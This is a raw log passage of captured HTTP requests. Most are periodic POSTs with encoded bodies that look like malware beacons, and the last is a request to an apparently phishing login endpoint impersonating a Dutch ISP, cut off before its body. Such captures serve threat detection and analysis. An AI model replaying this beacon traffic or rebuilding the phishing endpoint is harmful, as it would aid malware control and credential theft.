  3173. [11:59] <HTTP> POST / HTTP/1.1
  3174. [11:59] <HTTP> Content-Type: application/x-www-form-urlencoded
  3175. [11:59] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3176. [11:59] <HTTP> Host: 172.86.120.218
  3177. [11:59] <HTTP> Content-Length: 408
  3178. [11:59] <HTTP> Cache-Control: no-cache
  3179. [11:59] <HTTP> RaJXlIzBMM2Z04Ezg1MhvBlZ/KJyTlc4uPR7Bl0Pq7aRyvV+cHTORKEi1WzMOABojA7VYcYWiSVJTr5WPIVfVB6Hu4k8jdlB23OAKkCgVLKvimbiyMxYipFKZCP0T9Syx3BxQnvvCzrkYLNaj20KD9Zwwm0PSpnhWFkSl2SvOtYWy8TEj28GWe7CYsxD4AL7Qh/+dpqgYqiDDiLWf7DP0mToVf5q8juzR3/3qfjXTyotRNsiIMzeCpP/wfBtWgxTIjylR+UtC0XQt7ukt+8Mhgr0niuHEHg+7NV3xtvpeBqkCZQMwOXVoxbIDsNMmJDmzwF0vW1Ug17GFqCfbcCLUgucAGLS+IVsbRnRdpaAHb+EaKIAoDy3TovOeiSyWjlcxSNDin7VooJWRHgdcKlMgU0=
  3180. [12:01] <HTTP> Socket initiated: 71.235.124.202
  3181. [12:01] <HTTP> POST / HTTP/1.1
  3182. [12:01] <HTTP> Content-Type: application/x-www-form-urlencoded
  3183. [12:01] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3184. [12:01] <HTTP> Host: 172.86.120.218
  3185. [12:01] <HTTP> Content-Length: 400
  3186. [12:01] <HTTP> Cache-Control: no-cache
  3187. [12:01] <HTTP> FqwKkozAMLiEZ0UDIPoeVFOgv7XQgnPOxvwBRr50Tp1UaK/pragSN5O8SBflLc4tjZFLNlEzhd9vaz/2zSkQyM9y5r4QTWdW9jJSX6zgy0gK9ksPPbyZnHrU8cxOLRgCoazvLLSjBXO6csON1EWCvmfrvBXg5QVN7TwPueAaF29AI7uMBHMh0hpqNWCAcfXtCf7jIgS5fiL5wQUnMqQuNCD5n15F5mZPQACMLOAEB2URAY5PNMJS7CoqqljGOu9Vx8Nv3+xXIUaXQDlZzj5qQwKXsH8CxQnWC2gFZFlhRnr545trgc2tOLaPWr3E/NGsoWvKiE6MaQV5buEZgmKAYgesTdKl6021ys2WXU5vb/55wri1EsKqDwvW6LsSWlkftXucuVfHPdooBA==
  3188. [12:03] <HTTP> Socket initiated: 71.235.124.202
  3189. [12:03] <HTTP> POST / HTTP/1.1
  3190. [12:03] <HTTP> Content-Type: application/x-www-form-urlencoded
  3191. [12:03] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3192. [12:03] <HTTP> Host: 172.86.120.218
  3193. [12:03] <HTTP> Content-Length: 412
  3194. [12:03] <HTTP> Cache-Control: no-cache
  3195. [12:03] <HTTP> QqIIw47OMCRM7kRllj9HTjxS25FZmhGPHqguCjVYLfFdE0Ktws8MKjfT0RC7nrz7zRWzWNcggy0UORpVUkt08is7RFfl/osDNzpZqIHURqaNHQOFg9ft863vrF+jbxKWPHc1FF9m1mdh8grUB6Y2fhn8VYNphCaKm5j3XAOGvw4WUUiqML+eUYotqXVVhtgAXhhjFa0LBfpSFcgcJnx3jUy0E+Y1IwffMzDqczZbSYQW9Nxl9X8HT3RgC52imJQMWOrw62ccCuA6p7Au6lEwDaN8FEgXBB8aOnXMt5CAOwPzekdpXfUDLRpzQLG85SdrLiUG9DwnUoFaEajvE5xFvFmERonrDE+bRQ+3kdgEilA1JNfPKOVzaRvoabQILj0FD47XX9Oorsa2AF
  3196. [12:03] <HTTP> cQj6gO2wwCQ24=
  3197. [12:05] <HTTP> Socket initiated: 71.235.124.202
  3198. [12:05] <HTTP> POST / HTTP/1.1
  3199. [12:05] <HTTP> Content-Type: application/x-www-form-urlencoded
  3200. [12:05] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3201. [12:05] <HTTP> Host: 172.86.120.218
  3202. [12:05] <HTTP> Content-Length: 364
  3203. [12:05] <HTTP> Cache-Control: no-cache
  3204. [12:05] <HTTP> R6FZyY/PYScR85xOwRY66GgJDx/Z8n8PTFNdpnN3irmMS5TUQy4zINOXBNpzbRx8s3dZuGd4ghz8IQLSbNEthpGgZiBJJQoyGnrQwVRTGGHiEjR4mSVHN0zZ8Mj4Ummt2XCryCVaPPfeVT1ihTsDybAgwopWydH/3ThwIJPoH29leBFQXR32RCwQoO9JV88CMHcqQTDQUKSV76jwkFi5C3TxTchQpwaO8NeF9hQyyXknFZfywlPa6rP/mYuCPIS+owePvmGbyJnxapLMl+5xXqTvxaVTMZ9WjQ/ge4ZvGkV1cnvYoUhx1GVijlWH7VCjz8tDr0V5WK0VxrSmu6jbcLKQTfjTLqOd2tUOV1eQWgTF
  3205. [12:07] <HTTP> Socket initiated: 71.235.124.202
  3206. [12:07] <HTTP> POST / HTTP/1.1
  3207. [12:07] <HTTP> Content-Type: application/x-www-form-urlencoded
  3208. [12:07] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3209. [12:07] <HTTP> Host: 172.86.120.218
  3210. [12:07] <HTTP> Content-Length: 368
  3211. [12:07] <HTTP> Cache-Control: no-cache
  3212. [12:07] <HTTP> EPMKydLIZ/BcLyMcMMTjVtOkmvtUC7/Wqrhm+Ufq7dUB1tYzzpRfqsLtxZx/JMcGxOLnx5XyVpwHiXz6NF54IN+94VERr8LfrmIydBKB64wQhYu2YqY5OcETxQaDD1d2RCyfGXnPKaJBE20WLwCVzRs61k9GYtZIla+rKzbl2biVjDTkZpat6zbMWKrg7rWsUBYuSG+E7YfthJ4zQlRZPTf6x+c5ANKf2ria7P4mH77X15rZVRK8YgWf5paLawhJelkZGeqA3HJkdrygiA+ITUrdRiCUI5JZEwNCi5g9g81XxRbtjSN/XXqPg6gYRY8E+DmfxLdL3M/7FZqznMr/eVMqs4bFzCrisLh/Cs+8a6KGOw==
  3213. [12:09] <HTTP> Socket initiated: 71.235.124.202
  3214. [12:09] <HTTP> POST / HTTP/1.1
  3215. [12:09] <HTTP> Content-Type: application/x-www-form-urlencoded
  3216. [12:09] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3217. [12:09] <HTTP> Host: 172.86.120.218
  3218. [12:09] <HTTP> Content-Length: 440
  3219. [12:09] <HTTP> Cache-Control: no-cache
  3220. [12:09] <HTTP> EaBaxt3KZogJTV22D72hKF0RJw0SGvNeHVXl/xVKza8NNxnHAfo+AT+TFLXx5OQHK2DEACD7J0Ykj6la+A86uU62uOkMlDlmFdyvYaJ1eiXgsRCSc4UM1uK7B9bgLVWqcqXZjr1RjCK6vz4DIEcytgB7BoIMt1EMWv1VFRDB1uarkipktCHvf90p1zgXx9YlO13ozJI3H8MzGz+exeqS97i/eOTsUyihByIcw+0+a/ZNjk5wQq1uTAYJ2TyyZxrOxpmviZv4U/VpdGArH4a3zpFXBnfm/psD/X+eKXPszWurSIPnBH1rn0vcxwyxCGekuAq6zhVPmNEGuj8bGMra4WUfLQd0j3rsiXy/YosqqWvX/+jLy/kiL0s3Tm3oGMYhaxQGvmcbuCXlt7
  3221. [12:09] <HTTP> oL9s5xvSWHKd7wqyYYtQpzzl7ZIFDHAN5JzsiJdg==
  3222. [12:11] <HTTP> Socket initiated: 71.235.124.202
  3223. [12:11] <HTTP> POST / HTTP/1.1
  3224. [12:11] <HTTP> Content-Type: application/x-www-form-urlencoded
  3225. [12:11] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3226. [12:11] <HTTP> Host: 172.86.120.218
  3227. [12:11] <HTTP> Content-Length: 380
  3228. [12:11] <HTTP> Cache-Control: no-cache
  3229. [12:11] <HTTP> QadbwY/PMByW0xnBs+WRoeqaZkKI3+PywInBNKnhx9T7AOXQpmjS4956E4EAVgN0OvhZgvbXsLMdUkPSsXOBmPyZOxoiuLB3igRzlWyEL7MPPzaNuCX3MtdHkxoeuW87ulFG+RuqoieQT69dLPTlvvDzAoBJs/JKod8dSdXCFO8ddDr6pQVzNHs+zTyniU87nnoIu2SKRQmDuNl8BWiuZ7nrgBmoACFDWrwfr5ubcMfbOvY7n4pAvYHZ3BStbEVMUyg1oZU+K6D38q3MAbry+Rkj3u6ST22nNZGhbbKBdFke1f04EaCrvovrWcTHKSAmbL0wFQQWOhoO+rB1hhTOF7Ypj60rWzHNrNpOqVzCMt6BtDHVM3Pq207VErYR
  3230. [12:13] <HTTP> Socket initiated: 71.235.124.202
  3231. [12:13] <HTTP> POST / HTTP/1.1
  3232. [12:13] <HTTP> Content-Type: application/x-www-form-urlencoded
  3233. [12:13] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3234. [12:13] <HTTP> Host: 172.86.120.218
  3235. [12:13] <HTTP> Content-Length: 408
  3236. [12:13] <HTTP> Cache-Control: no-cache
  3237. [12:13] <HTTP> EPcNxdnMZ9FOygHuqSa4i79vJ0TCtgK7swn2tdLRaogUi03REOVNHoTGnLARGfJ3I6PZRS6ixScEJYN9o/DREfU5jAllonT/ptHkfH+YYzOXJHCIfzGrjjSvj7/Tiwru7zlW8sqTuVKX9jpXNYkUTUsu50xrYyEC8VVjAQRs9LiH83grhBd31lwcnR3OdTwSbNY4fR5m2HPlvjltARpcqOYHIl+byEc0SJDdq89BRieRhUtCEbKjE5efNFuSZUO2LEVRomJZ/2yJcNQx3MreJLMQAujgL2E6FGx2qwKyPhaOJPITm0LW/j5+8LL+HDi//L7rr50Jw7ujFV590N7S7eirbbrBB4i7sFYKI2YwzI34176YGWkf1QeDUIlucE9chLf8qTHDD0+eBhhe5t8FxvTs
  3238. [12:15] <HTTP> Socket initiated: 71.235.124.202
  3239. [12:15] <HTTP> POST / HTTP/1.1
  3240. [12:15] <HTTP> Content-Type: application/x-www-form-urlencoded
  3241. [12:15] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3242. [12:15] <HTTP> Host: 172.86.120.218
  3243. [12:15] <HTTP> Content-Length: 368
  3244. [12:15] <HTTP> Cache-Control: no-cache
  3245. [12:15] <HTTP> RPRXwdmaYnlF0fDfYoIpjgs2s33tI8q9PmrdJpHLlUmfuJ25uLFN253SqvdgGNcsBGQ9I9tXZw4ft6DGZLqQVzkEKUQ/S2S7XtdKpl4ZdxDBKFtD+T+72yJOmYP2+S2wxndHEQ1qQAAPSrDSo/ub4EXjnXq4aSPyzNFcEFaDXHedbp/+piTTxdYvMmmR/AlMEOat4b4uyux6TSjNTHqvXwIExmvH5CiJS/LReoa+npXXOSQedCtLkvcpj5HK9fsi+HLNCTr1iiNsuZwoVFZQxHMylQSfpQs7VeIoFdTriHq4vmyrL4Vx0mA6Lca8b4nz2w8RPKZxbMq3dMhNjEqFMnswqC/6vWHcPyWmeC/F5pDLUw==
  3246. [12:17] <HTTP> Socket initiated: 71.235.124.202
  3247. [12:17] <HTTP> POST / HTTP/1.1
  3248. [12:17] <HTTP> Content-Type: application/x-www-form-urlencoded
  3249. [12:17] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3250. [12:17] <HTTP> Host: 172.86.120.218
  3251. [12:17] <HTTP> Content-Length: 388
  3252. [12:17] <HTTP> Cache-Control: no-cache
  3253. [12:17] <HTTP> SvZXk4zJZrKtgBl4heFanrcTpYG2Jr1m6oz/6b85lYfJysnbhrpzNrtHhsGMNuQinaEyI8x3GQAVhZVDWjW78CZCXYUCRhSIvS5gbXoN13+tLDpTjb0r/yaBRqkVFW6SIlnUGILPErxTzstbl0G1/PeYDN+BB8VC6pM8ZLcAA+GCwn8diThLq+mNYawdqOpkwGCTaFhoqO2qNxGEId/SXAsVozZJpk5I4lK/KkyHUQs0o7Fj9C3ei5GG1WCQXl+oN73pLv7lamqBMmEStJ8Z2clvKn4NRoLHz7IIUge5iLh76QK22s/45k7PMAryE27rDuPDd1ED1Vd1vt0T/3HDlQ28TQFehyYuezX4om47jkAtHFRNtQ4GR5JjOZwOp24IyQ==
  3254. [12:18] <HTTP> Socket initiated: 91.230.47.3
  3255. [12:18] <HTTP> GET / HTTP/1.0
  3256. [12:18] <HTTP> Connection: close
  3257. [12:19] <HTTP> Socket initiated: 71.235.124.202
  3258. [12:19] <HTTP> POST / HTTP/1.1
  3259. [12:19] <HTTP> Content-Type: application/x-www-form-urlencoded
  3260. [12:19] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3261. [12:19] <HTTP> Host: 172.86.120.218
  3262. [12:19] <HTTP> Content-Length: 396
  3263. [12:19] <HTTP> Cache-Control: no-cache
  3264. [12:19] <HTTP> RfELlYjNZtw2n+OMYW+UASmdGjd1RKjiTJhqKoUm06jft+uUfZzw30tNyyQIXPjc0iTvJOeH9iOnnkkDeBS/KBzlgZF8cx04dK2CATiKq6GKKW21Un+kZO8YjmGsvTo25ndT8vpr6yEjAFzMvdtPX6jngw6MpLTS9uQEb1hWbFzEIhTRc5o3Vgv4UYAgh+g5yvtZmX44bih2MajaQnA6o8CTDwMi64fIGKuZXT7RtS+wcPVMO7y9h9tRn7TjH6fFGYfEDAiVSLWG4p11A4NZwgw5lQp6disLVBjUlONcQvGcqh+8bkd3tVDR7rLROa7X5jj8Bu/7SNGRyEuQ7UGOvygyikRyYBayuKo6Qx5eYYvcZQ5ooHynuQbYOw5o64uafAwYjWx/Cf8=
  3265. [12:21] <HTTP> Socket initiated: 71.235.124.202
  3266. [12:21] <HTTP> POST / HTTP/1.1
  3267. [12:21] <HTTP> Content-Type: application/x-www-form-urlencoded
  3268. [12:21] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3269. [12:21] <HTTP> Host: 172.86.120.218
  3270. [12:21] <HTTP> Content-Length: 376
  3271. [12:21] <HTTP> Cache-Control: no-cache
  3272. [12:21] <HTTP> QKQKkNzPYD/9sHEKra8srOjhxfAjNl2Mer0rWhtxuAN98Nl04NdczbNtHykLcKA4PRJe0ONYrNJ8WynFPah6IE6Q4poGXeaqN4KvOQePxESJSoGWDrffCH9RaYKVax5jeweN6IlXFDjwuGyYfsxMkos+vtsBI9ruuRon8A1sHf9PXaYhvIvHq2kLTNs+Q/8Pv+n/9eLPZIN4lNxlLEq9GMEyhsJNbBGtMpbr3UmAs5OJG8T1gfpFfJq9/sxsktwXtE642WaArRXCdA8UM9LrBzqS5M2Ts1dCwKHIjEtxjU1O+nHREBXLdDLMK72nqKBgjKIBsCX+OZodqSFbd4Pm7AQg3jYNH8B5814hairAwzofyLJjCxTq+A==
  3273. [12:23] <HTTP> Socket initiated: 71.235.124.202
  3274. [12:23] <HTTP> POST / HTTP/1.1
  3275. [12:23] <HTTP> Content-Type: application/x-www-form-urlencoded
  3276. [12:23] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3277. [12:23] <HTTP> Host: 172.86.120.218
  3278. [12:23] <HTTP> Content-Length: 420
  3279. [12:23] <HTTP> Cache-Control: no-cache
  3280. [12:23] <HTTP> SqReyIyaMcNVi2l+kIk5YPTo5vY+yhwTBhPfjEbT0csYXr7UWmS9aT9YqcJcHDlWbixcVzYInjjTRR8pEma82S87mXh6ek3jY2BwPqel5v3vAwk+2Cj3aHmFTx5TE7IC6w6X2WOYLTIVXqJV/RXEJQ7tJLmSuGiA1pjGNLGE6/HBYxCm1VYQ30Iw/ULufK1XJ1dQNvxD5RS0NBm+FN7aPUpv4tJNC3gmX/qpH2pJDM/YcRw3dsCIbhc4F8Qa5kUU05gCiwx/0gNl+mw2t8Zgxilv9PR6oEX2TTKVCVZgd8zSvDI+2mF6FZBLxEOA27VJzGvrzKZb2VcwJCrnfWL2DnhppF/b/yfFN5sZWlepQ9S+XgTmrqIPrLrsZiuRg6ubSQbOwGEqwoljwI
  3281. [12:23] <HTTP> bcGnU5gyXevg9zQycjFabd
  3282. [12:25] <HTTP> Socket initiated: 71.235.124.202
  3283. [12:25] <HTTP> POST / HTTP/1.1
  3284. [12:25] <HTTP> Content-Type: application/x-www-form-urlencoded
  3285. [12:25] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3286. [12:25] <HTTP> Host: 172.86.120.218
  3287. [12:25] <HTTP> Content-Length: 408
  3288. [12:25] <HTTP> Cache-Control: no-cache
  3289. [12:25] <HTTP> QKVdlN2bZ7O9XvajUAzxr/BFH5khEtSZGHiTuC5RlenyrGEX4GcoO/V2SnJP1W8oIwXvi/vUTyKBz8EW+vi2NqZksSGZuYzLdzEUeicI9qKniIfTrLojfJbCcha3Kl4AkAlGIIfMB5Nx5itWxkGMSgBn6EF2w7qK31X5ZpDDvvFPa/OBL+Msv45in2Rql8NimkHCU2hTbLH+InH/vTzg7UTpei+ZIP/3tq7br7kUgcPcj+mASQlWrC5OekEeDTPqws9DOxhkVwHDj5pTZAXEMx37Ks3ZCNC/pcrYvJL2bE1ygXJ7JgraWQOlZVq/J8QaQjrkQ8KyXVlSKZIMpmSJJdqiYYlPXAN9T0R5qkS7RedzK4CyyxiJRxaPYhx3kjkFpb+aS+pWKlfDxmZAFbpKyQ==
  3290. [12:27] <HTTP> Socket initiated: 71.235.124.202
  3291. [12:27] <HTTP> POST / HTTP/1.1
  3292. [12:27] <HTTP> Content-Type: application/x-www-form-urlencoded
  3293. [12:27] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3294. [12:27] <HTTP> Host: 172.86.120.218
  3295. [12:27] <HTTP> Content-Length: 420
  3296. [12:27] <HTTP> Cache-Control: no-cache
  3297. [12:28] <HTTP> EKYLlN+bZo6Kj2qbOKRJTJBUwFZwvUihqQC8cLBXbGylujbmBLf3eB15sV+85lT59t7SP8xiaSZSjWxxSkLB5tNCuMzPde95PdM2cFXDypvn5ivvrPnkqqUBQWmf9L/+ZVaVSE7OfD9Omg/pinb8pyOIuggHYKZFO+kyZKPceICCXnGx9aIld8XbdZ3ElZuXy7+ixT8Q8ljfuBQ+LKcD6Xq0gHbtUhrPMmNOjch4gcs+bbn8oWgzJkbdH//LY2961EhDzJGrsKB3IYnn3otgKnteJCFYt63KWhgQCzNBd+72sbDM02dS7Kq3Q5pNLtzb9Mpg4Mkt7HilLezyF1TpGURImvrS8sIFfOpYM8PbQ0L9KCEhHbOnR4DiZ84yRHNq01sp7U7zv8C6KN
  3298. [12:28] <HTTP> zGFoo3CSDBr298F68tkQ==
  3299. [12:29] <HTTP> Socket initiated: 71.235.124.202
  3300. [12:29] <HTTP> POST / HTTP/1.1
  3301. [12:29] <HTTP> Content-Type: application/x-www-form-urlencoded
  3302. [12:29] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3303. [12:29] <HTTP> Host: 172.86.120.218
  3304. [12:29] <HTTP> Content-Length: 412
  3305. [12:29] <HTTP> Cache-Control: no-cache
  3306. [12:30] <HTTP> QqxYkt2bNclT+rQd0Y+6funXjN9cQoQkKxXHSCXvdZwDp1JtbRJ8+87op/efDHlNkOexhjvlab12ej6OcYgZ72cCBc9l0u0vpLV5411cnhHODkSAokyPg4snmilYF6S3lUKMvUBAcV8GQyptuG8kJ7gvUFT6pBwcUAo4dU+0MIwBorguRDJxuaZ8GipeBiYiVBdE9QgBs6IiSoVCZPf3oycZrwA1j1Vz/2CUiifz++yCEJ/SADQu4iBv3oiY/meTobLimx9MeXwp9DBlVnF3aLyX3ob3bQp8scjrUXhDsDmXul2hwkIdZ2VcdEvtn4u1qKK90BJQ+zzBtzJoeNuxkfzvfxBAO/xFzMdwjbxOoBgeIRFo/HTvraS5S7bzh2UpXOGEAbBeopSOKP
  3307. [12:30] <HTTP> RziuvqaREVz3Yk
  3308. [12:31] <HTTP> Socket initiated: 71.235.124.202
  3309. [12:31] <HTTP> POST / HTTP/1.1
  3310. [12:31] <HTTP> Content-Type: application/x-www-form-urlencoded
  3311. [12:31] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3312. [12:31] <HTTP> Host: 172.86.120.218
  3313. [12:32] <HTTP> Content-Length: 444
  3314. [12:32] <HTTP> Cache-Control: no-cache
  3315. [12:32] <HTTP> RaRYx9PKYPCxx6fseQOoIbuEBS/uT9nAT3H4v+YGTiDxW5+km40X+WVzv5YsmsXTsm2Fm+fEr8YZ4uBuH6+2jqSCLssnVPcYayJ0u+sjhzyPY0l50174qidMcDqc6xUA1yJvQXAVcbjh8hwZIVNbzhEbCiQm68XE9v6cI0BGPbHSyH8C55D1LTk1E5YXLmm+Iy6JvrtKFD5AfXn/yQNXTkqI23Dla7rnGQt6tPU7z0p+xjCCyFHvuhpvq6SC9cgSUumVfLL2sP3pcKtuHP77AdVwc9sEj8dooPfivONq/wfVPBAzUi7yYFUiQYRTPMILYsQjuR299eZKwRrPuauwNB/mS3Lke6J+7EV01RUv8Er3C6xLZXz2wrz5cGOwbMu+pjgJRoAquV87aY
  3316. [12:32] <HTTP> 8/KjogcXBrzZKgJkbOXoUp4LDdHBwhb4cFsfGiR0nkQH4=
  3317. [12:33] <HTTP> Socket initiated: 71.235.124.202
  3318. [12:33] <HTTP> POST / HTTP/1.1
  3319. [12:33] <HTTP> Content-Type: application/x-www-form-urlencoded
  3320. [12:34] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3321. [12:34] <HTTP> Host: 172.86.120.218
  3322. [12:34] <HTTP> Content-Length: 408
  3323. [12:34] <HTTP> Cache-Control: no-cache
  3324. [12:34] <HTTP> Rqdax96cZlXHemulFUpLC0Qx0rB95gOKT0lk1EVaVj4Ic3Y/QjgsTUetB/7oJ5YIDabc+dL0+U9yuDbkfd9kAtQ6q0ql/THLK5bNUGNyVbyVdU17jrBzjWvOrZnh9f1/j0ZwEp67U2E4cu5Ay4mwyx6HBZ7bo1w92ffjShcTNdIZ41XPNfhcDyABNeqkxEuOVdRcaYsi89gYqrzykTlDetWpukY3ttVnOGFwTheypYcyaYicftgKYaexYd3t2GDfr+O1c3HyHeRH4tsfmCoYiRmu3sKzE8FMh7XoHk7WB74BfFApOxGHvwqhtmNM6UZNTNzam9n9SwG+HPRpIDZf9H7BfkiTR1AVyRdHT+n/zpTAaRWFjOhE9CEFpUC8QYYd7aSjyxLWNFatSDqOrIO1Evan
  3325. [12:35] <HTTP> Socket initiated: 71.235.124.202
  3326. [12:36] <HTTP> POST / HTTP/1.1
  3327. [12:36] <HTTP> Content-Type: application/x-www-form-urlencoded
  3328. [12:36] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3329. [12:36] <HTTP> Host: 172.86.120.218
  3330. [12:36] <HTTP> Content-Length: 420
  3331. [12:36] <HTTP> Cache-Control: no-cache
  3332. [12:36] <HTTP> SqFYkovON6bw404/Vgv9RpCu7iDYzXAq3WJQbGWSBbXzve2CV2SO0fkAeaedaVz3iMb7gchMuCWHCWV6QtpDHHEVaaNnT54pySGP9emVWlIAzoWDIn9C2f3Xr8S+INZe/RCyFTu8OnXzi+zREwJHZw+Z4YFQajdAJ22ucotf+cCKFStRpY5G/0KSyEyc2qX9xjlAm5xWTn2JJ4EwIYOhFnhcggnONpzO+cSe/zp74NAJ9inhYfnKLF1csMibE/iioGdWhrbqpWpZLnGc9msrcTe8/nXwQZIb87MAWtmSoDUncMdLYconjUrEezAojxS2wjr3lJYaAYr1Lt6xJipm5npZ12DxOA6H6ODhSbGpPZfHNanS9g/pdUcSwIm9osYWx5T/BwCAwdNbhq
  3333. [12:36] <HTTP> J5glcTIa+xkJ8Vq9TiU5I=
  3334. [12:37] <HTTP> Socket initiated: 71.235.124.202
  3335. [12:38] <HTTP> POST / HTTP/1.1
  3336. [12:38] <HTTP> Content-Type: application/x-www-form-urlencoded
  3337. [12:38] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3338. [12:38] <HTTP> Host: 172.86.120.218
  3339. [12:38] <HTTP> Content-Length: 416
  3340. [12:38] <HTTP> Cache-Control: no-cache
  3341. [12:38] <HTTP> QvAMyNLPYgy96z/LHTeal2tMgz9Nazfi4fhb5OytAjPn60S3QgwuiAbGTHepSBMrYtEmvgWCFupYl0ZYSQyWiBb2UJSTE5yus0Yk4dOI+D+BQ+hSGdOSppIT5KSQWKZ7ermRo6mlBkM2Igdjrda61iOJl0JGtEFi3VlyyFeA4wZEjiBbE5x7FZbQrg0zs1zVFNYxlfPrpthSbLsrdGPQvhU7s0C5lMI6wR1Cz7Agl70pa+gDWHMU0AOOQrlXl42fptlmN7mL+4A4iyInpDuXiksRiXfndf9Yb6ZMg+6Z+6f/La1b+1FW+xPrDiA5vq9HUft2SsO71MUhT3/LKr3vIKQAjwGOtMzK8silpbFDSvIyVQaMzPnmrusugoab9CdNvPRJCcaJiqQKBk
  3342. [12:38] <HTTP> Umt81SI2drSWkPKVY=
  3343. [12:39] <HTTP> Socket initiated: 71.235.124.202
  3344. [12:40] <HTTP> POST / HTTP/1.1
  3345. [12:40] <HTTP> Content-Type: application/x-www-form-urlencoded
  3346. [12:40] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3347. [12:40] <HTTP> Host: 172.86.120.218
  3348. [12:40] <HTTP> Content-Length: 452
  3349. [12:40] <HTTP> Cache-Control: no-cache
  3350. [12:40] <HTTP> RKRXl9LMZMIuBqNMcsKCAO4hpwyFZbhWi+ai1uYL/k2+buTLtsgMT1Xtwg0QIvQYl/O9oUZWeC3kBhQmZOGla9EEPX0hWhOil9ggyC5a3lbdXqZjsoxUtkQtfqENaa+XvkHXP+Bfj8/303q5Ilvv59UeqxRnC+AT6x7vgB1qt51Xx7Daa3atLytcu2ERvsMFtRbRbqzcloCnxrlCke/q2VUfDIH4+UkQt8TJM+IreVJGjztJCJs7+bECq+30aRH9yeoiuJCbjVm9jE9JDzrkMR5MKpPpex7CRGhV1DKcMgcjXEBpt9sQZLHfBieu+aaf6OEDCcmSVs7TGP40fVKBUZwrDa7fu1PrYbC0Y5x9NjnuUcowWQs7viMQk+fq0Tj8iU1aouhk+blTU0
  3351. [12:40] <HTTP> 6MQ71gdoVpErqJI307+F8xzrecDYjlekNrz92O4cvDKjJ+GVnHp9L5
  3352. [12:41] <HTTP> Socket initiated: 71.235.124.202
  3353. [12:42] <HTTP> POST / HTTP/1.1
  3354. [12:42] <HTTP> Content-Type: application/x-www-form-urlencoded
  3355. [12:42] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3356. [12:42] <HTTP> Host: 172.86.120.218
  3357. [12:42] <HTTP> Content-Length: 440
  3358. [12:42] <HTTP> Cache-Control: no-cache
  3359. [12:42] <HTTP> FqwIxo7PZQZv1lOcu+u2H2uKySqjhtEDvVur0h0eGteRuTYFxwOsfGSSacIGCR7G6tXF5ubdBszuPDw3PyAGJG2qJuPJKSyZn0J1KvF563nwwFeYeo5VTmDl4RIvFWqqhrAi4T+/MDgTg71oP9NvfAL0i0amU6+Z6jsBM0t9W+78x72+KyY9VOjZV6zjBVkACo8eGclkTjBVBrTznuPhbGGY7EzBO/hU9S288D7AzabEZ595JlnbzOEOgfgoAkrsaJGn24fRAXlQQ1hMozHWuNdpX2NT6NMtuuh6V/sV2YAabltlXGEl54kewijaCCgoQDf29vHvrN6pxpFyprE2A2gAaG6dKCdebEuz5f3vMURSMHdpN8IHGHmDkryKctjxA5IMZmm0jS8WC5
  3360. [12:42] <HTTP> +vNU2mHNbpX+HnztdcGen8XqWAk0bofQihNKhdHgY=
  3361. [12:43] <HTTP> Socket initiated: 84.30.247.160
  3362. [12:43] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  3363. [12:43] <HTTP> Host: ziggo.nl.hacked.jp
  3364. [12:43] <HTTP> Connection: keep-alive
  3365. [12:43] <HTTP> Content-Length: 113
  3366. [12:43] <HTTP> Cache-Control: max-age=0
  3367. [12:43] <HTTP> Origin: http://219.93.200.189
  3368. [12:43] <HTTP> Upgrade-Insecure-Requests: 1
  3369. [12:43] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; ONE E1003 Build/MTC20F; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/58.0.3029.83 Mobile Safari/537.36
  3370. [12:43] <HTTP> Content-Type: application/x-www-form-urlencoded
  3371. [12:43] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  3372. [12:43] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  3373. [12:43] <HTTP> Accept-Encoding: gzip, deflate
